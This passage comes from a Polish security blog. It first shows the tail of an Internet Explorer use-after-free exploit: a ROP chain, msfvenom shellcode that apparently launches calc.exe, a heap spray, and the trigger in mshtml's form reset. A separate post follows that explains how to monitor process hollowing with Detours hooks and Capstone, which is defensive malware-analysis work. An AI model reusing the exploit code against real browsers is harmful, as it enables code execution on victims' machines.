"%ub7ef%u51c4" + // 0x51c4b7ef : ,# & jmp esp [hxds.dll]
"%u26dd%u51bd" + // 0x51bd26dd : ,# POP EBX # RETN [hxds.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%ua969%u51bf" + // 0x51bfa969 : ,# POP EDX # RETN [hxds.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u5863%u51c3" + // 0x51c35863 : ,# POP ECX # RETN [hxds.dll]
"%u0f0f%u51c6" + // 0x51c60f0f : ,# &Writable location [hxds.dll]
"%u41ad%u51bd" + // 0x51bd41ad : ,# POP EDI # RETN [hxds.dll]
"%u5c46%u51c5" + // 0x51c55c46 : ,# RETN (ROP NOP) [hxds.dll]
"%uc8b6%u51be" + // 0x51bec8b6 : ,# POP EAX # RETN [hxds.dll]
"%u9090%u9090" + // 0x90909090 : ,# nop
"%ua4ec%u51c0" + // 0x51c0a4ec : ,# PUSHAD # RETN [hxds.dll]
"%ue8fc%u0082%u0000%u8960" +  //shellcode wygeneroway za pomocą msfvenom.
"%u31e5%u64c0%u508b%u8b30" +
"%u0c52%u528b%u8b14%u2872" +
"%ub70f%u264a%uff31%u3cac" +
"%u7c61%u2c02%uc120%u0dcf" +
"%uc701%uf2e2%u5752%u528b" +
"%u8b10%u3c4a%u4c8b%u7811" +
"%u48e3%ud101%u8b51%u2059" +
"%ud301%u498b%ue318%u493a" +
"%u348b%u018b%u31d6%uacff" +
"%ucfc1%u010d%u38c7%u75e0" +
"%u03f6%uf87d%u7d3b%u7524" +
"%u58e4%u588b%u0124%u66d3" +
"%u0c8b%u8b4b%u1c58%ud301" +
"%u048b%u018b%u89d0%u2444" +
"%u5b24%u615b%u5a59%uff51" +
"%u5fe0%u5a5f%u128b%u8deb" +
"%u6a5d%u8d01%ub285%u0000" +
"%u5000%u3168%u6f8b%uff87" +
"%ubbd5%ub5f0%u56a2%ua668" +
"%ubd95%uff9d%u3cd5%u7c06" +
"%u800a%ue0fb%u0575%u47bb" +
"%u7213%u6a6f%u5300%ud5ff" +
"%u6163%u636c%u652e%u6578" +
"%u4100" +
"");   

    for (p = 0; p < padding_size; p++){
    Padding += unescape('%u4141');}
    
    for (c = 0; c < block_size; c++){
    //0x1c8 = 456 / 2 = 228 – (34 na Rop chain)  - (97 na payload z venom) = 97
        if (c == 97){
            NopSlide += unescape('%u28df%u51bd');
            c++;
        }else
        {
            NopSlide += unescape('%u9090');
        }
    }
    NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
    
    var OBJECT = Padding + Shellcode + NopSlide;
    OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
    
    var evil = new Array();
    for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
    }
    
</script>

<form id="testfm">
<textarea id="child" value="a1" ></textarea>
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
<textarea id="child3" value="a2" ></textarea>
<input type="text" name="test1">
</form>

<script>
var startfl=false;
function changer() {
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element 
 if (startfl) {
 var c = new Array(100);
 for (var a = 0; a < 100; a++)
 {
 c[a] = document.createElement('img');
 }
 document.getElementById("testfm").innerHTML = "";

 var b1 = unescape("%u0c0c%u0c0c");
 for (var a = 4; a < 94; a += 2)
 {
 b1 += "%u4242";
 }
 b = unescape(b1)
 for (var a = 0; a < c.length; a++)
 {
 c[a].title = b;
 }
   }
}

document.getElementById("child2").checked = true;
document.getElementById("child2").onpropertychange=changer;
startfl = true;
document.getElementById("testfm").reset(); // DoReset call

</script>
</body>
</html>


Poniższy zrzut ekranu przedstawia wynik naszych działań:




Źródła:

piątek, 13 listopada 2015

Monitorowanie procesów tworzonych przez złośliwe oprogramowane

Istnieje kilka metod „ukrywania” złośliwego kodu w innych procesach. Jedna z nich polega na podmianie zawartości procesu i uruchomieniu w kontekście „legalnego procesu” złośliwego kodu (tzw. process hollowing). Te „legalne procesy” to zazwyczaj procesy systemowe cmd.exe, explorer.exe, svchost.exe czy msiexec.exe.

Tworzenie kolejnych procesów i wstrzykiwanie różnych fragmentów złośliwego kodu (np. pierwszy utworzony proces odpowiada za zdekodowanie fragmentu kodu malware, utworzenie kolejnego procesu i załadowanie tam złośliwego kodu) jest pewnym utrudnieniem podczas analizy gdyż niektóre narzędzia (np. Immunity) nie są w stanie podłączyć się do nowo tworzonego procesu w odpowiednim czasie. Czasami uruchamianych jest kolejno 5-6 procesów zanim właściwy złośliwy kod (ten który nas interesuje najbardziej) zostanie uruchomiony.

Poniżej opiszemy jeden ze sposobów analizy takiego zachowania malware.

Zacznijmy od techniki podmiany zawartości procesu. Podmieniane są dane i kod wykonywalny tworzonego procesu. Sekwencja wywoływanych funkcji API może być następująca:
  • CreateProcess() – złośliwy kod wywołuje tą funkcję w celu utworzenia nowego procesu. Istotne jest to, że CreationFlags ma ustawioną opcję CREATE_SUSPENDED (0x00000004).
  • GetThreadContext() – pobierany jest kontekst nowo utworzonego procesu a dokładniej pierwszego wątku nowego procesu. Struktura CONTEXT zawiera ustawienia rejestrów procesora.
  • WriteProcessMemory() – funkcja służy do kopiowania do nowego procesu złośliwego kodu. Malware może również wywoływać funkcje ReadProcessMemory().
  • NtUnmapViewOfSection() – funkcja usuwa sekcje nowego procesu, gdyż do pamięci nowego procesu będzie kopiowany inny kod wykonywalny (w przypadku załadowania całego pliku PE a nie tylko wybranych sekcji lub fragmentów sekcji).
  • VirtualAllocEx() – alokacja pamięci w nowo utworzonym procesie.
  • SetThreadContext() – funkcja będzie wywołana do uaktualnienia zawartości rejestru EAX. Rejestr ten zawiera punkt wejścia (Entry Point) – adres pierwszej instrukcji złośliwego kodu który będzie wywołany przez ResumeThread().
  • ResumeThread() – uruchamiany jest pierwszy wątek w nowym procesie – tym razem z nową zawartością.
Nie wszystkie z wyżej wymienionych funkcji muszą być wywoływane przez analizowany malware.

Ponadto istnieją również inne techniki uruchamiania złośliwego kodu w kontekście innego procesu. Dla przykładu po utworzeniu nowego procesu w stanie SUSPENDED wywoływane są funkcje CreateFileMapping() oraz MapViewOfFile(). W tym momencie malware mapuje cały plik wykonywalny z którego był uruchomiony do pamięci procesu. Tworzony jest współdzielony obszar pamięci i nadawane są uprawnienia do wykonywania (PAGE_EXECUTE_READWRITE). Następnie kopiowane są tam dane ze złośliwym kodem. Jak możemy się domyślać do współdzielonej pamięci będzie miał również dostęp nowo utworzony proces. Poniżej sekwencja wywoływanych funkcji przez przykładowy malware:


Nowy proces może uzyskać dostęp do danych wywołując funkcje OpenFileMapping().

W obu opisanych przypadkach istotne jest to, że funkcja ResumeThread() uruchamia wątek nowo utworzonego procesu a tym samym złośliwy kod. Załóżmy, że chcemy śledzić uruchamiany kod za pomocą dubugger-a lub innego narzędzia (np. do monitorowania aktywność malware).

I tu z pomocą przychodzą narzędzia do przechwytywania funkcji systemowych. Na naszym blogu opisywaliśmy engine MiniHook. Tym razem użyjemy dwóch framework-ów ułatwiających analizę złośliwego kodu - Microsoft Detours oraz Capstone. Ten drugi nie jest obowiązkowy, ale to dobra okazja aby pokazać do czego służy.

Wspominaliśmy, że pierwszy wątek nowego procesu posiada strukturę CONTEXT, która zawiera stany rejestrów procesora. W rejestrze EAX znajduje się adres Entry Point (kodu który będzie uruchomiony po wznowieniu procesu). EBX to struktura PEB. W celu kontrolowania uruchamiania nowego procesu możemy zamienić pierwszą instrukcję wskazywaną przez adres w EAX. Jedna z metod to wstawienie instrukcji skoku bezwarunkowego wskazującego na siebie (czyli adres Entry Point). Jest to opcode 0xEBFE. W momencie uruchomienia nowego procesu w nieskończoność będzie wykonywana instrukcja JMP wskazująca na siebie. Wtedy możemy podłączyć debugger lub załadować do nowego procesu bibliotekę monitorującą aktywność malware. Następnie przywracamy pierwotne wartości i możemy kontynuować analizę.

Przechwycimy jedną funkcję – SetThreadContext() aby kontrolować malware i mieć pewność jaka wartość Entry Point znajduje się w strukturze CONTEXT. Możemy również przechwycić funkcję CreateProcess() a następnie zmodyfikować pierwsza instrukcję w Entry Point.

Trzy podstawowe kroki związane z przechwyceniem funkcji za pomocą Microsoft Detours:

  1. Zapisanie oryginalnego adresu funkcji przechwytywanej.

  2. BOOL (WINAPI *Oryginalny_SetThreadContext)(HANDLE hThread, const CONTEXT *lpContext) = SetThreadContext;

  3. Własna implementacja funkcji, które będzie wywoływana w momencie wywołania przez malware funkcji SetThreadContext().
  4. BOOL WINAPI Nowy_SetThreadContext(HANDLE hThread, const CONTEXT *lpContext){

    PBYTE pBuffer = new BYTE[8];
    SIZE_T * rozmiar = 0;
    SIZE_T * rozmiar2 = 0;
    PBYTE infiniteloop = new BYTE[1];  //tablica zawierająca opcode EBFE (JMP)
    infiniteloop[0] = 0xEB;
    infiniteloop[1] = 0xFE;
       
    //odczyt adresu Entry Point i zapisane pierwszych 8 bajtów do bufora
    ReadProcessMemory(hProc2, (LPCVOID)lpContext->Eax, pBuffer, 8, rozmiar);

    //nadpisanie dwóch bajtów wskazywanych przez adres umieszczony w EAX (Entry Point)
    WriteProcessMemory(hProc2, (LPVOID)lpContext->Eax, infiniteloop, 2, rozmiar2);

    //fragment związany z implementacją funkcji deasemblującej kod

        csh handle;
        cs_insn *insn;
        size_t count;
        char kod_asm[20];
        if (cs_open(CS_ARCH_X86, CS_MODE_32, &handle) != CS_ERR_OK)
            OutputDebugString(L"Capstone error");
        count = cs_disasm(handle, (uint8_t *)pBuffer, 8, 0x1000, 0, &insn);
        if (count > 0) {
            size_t j;
            for (j = 0; j < count; j++) {
           
            //printf("%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
            sprintf_s(kod_asm, 20, "%s\t%s\n", insn[j].mnemonic, insn[j].op_str);
               

    // W tym miejscu musimy zapisać do pliku zawartość kod_asm.
    // Przykładowa zawartość:
            // push ebp
             // mov    ebp, esp
             // call    0x7b30
    // warto zapisać opcode gdy będziemy przywracać oryginalne wartości z poziomu debugger-a.
            }

            cs_free(insn, count);

        }
        else
            OutputDebugString(L"ERROR: Failed to disassemble given code!");
        cs_close(&handle);

        //wywołanie oryginalnej funkcji SetThreadContext()
        return Oryginalny_SetThreadContext(hThread, lpContext);
    }


  5. Wywołanie funkcji DetourAttach() podmieniającej funkcje – instalującej przechwycenie (tzw. API Hooking).

  6. DetourAttach(&(PVOID&)Oryginalny_SetThreadContext, Nowy_SetThreadContext);

Z poziomu naszej funkcji warto do pliku zapisywać:
  • Adres Entry Point
  • Oryginalne 2 pierwsze bajty
  • Dodatkowo kilka pierwszych instrukcji oryginalnego kodu – my wykorzystaliśmy framework Capstone ale BeaEngine też polecamy.
  • Funkcje ReadProcessMemory() i WriteProcessMemory() korzystają z uchwytu do procesu. Skąd mamy tą wartość? Możemy przechwycić inną funkcję systemową, która korzysta z tego uchwytu – np. WriteProcessMemory(). W EBX znajduje się adres struktury PEB - Process Environment Block – możemy sprawdzić do którego procesu należy odczytany adres tej struktury.
Poniżej przykład procesu (cmd.exe) uruchomionego przez malware ale zmodyfikowanego przez naszą funkcję. Można zauważyć, że pod adresem Entry Point (0x4a261240) jest widoczny opcode 0xEBFE:

Edycja zmodyfikowanych dwóch bajtów za pomocą Immunity Debugger:

Źródła:

[1] http://research.microsoft.com/en-us/projects/detours/
[2] http://www.capstone-engine.org/
[3] http://www.autosectools.com/process-hollowing.pdf
[4] https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes/
[5] http://www.codereversing.com/blog/archives/65
[6] http://journeyintoir.blogspot.com/2014/12/prefetch-file-meet-process-hollowing_17.html
[7] https://msdn.microsoft.com/en-us/library/windows/desktop/aa366551%28v=vs.85%29.aspx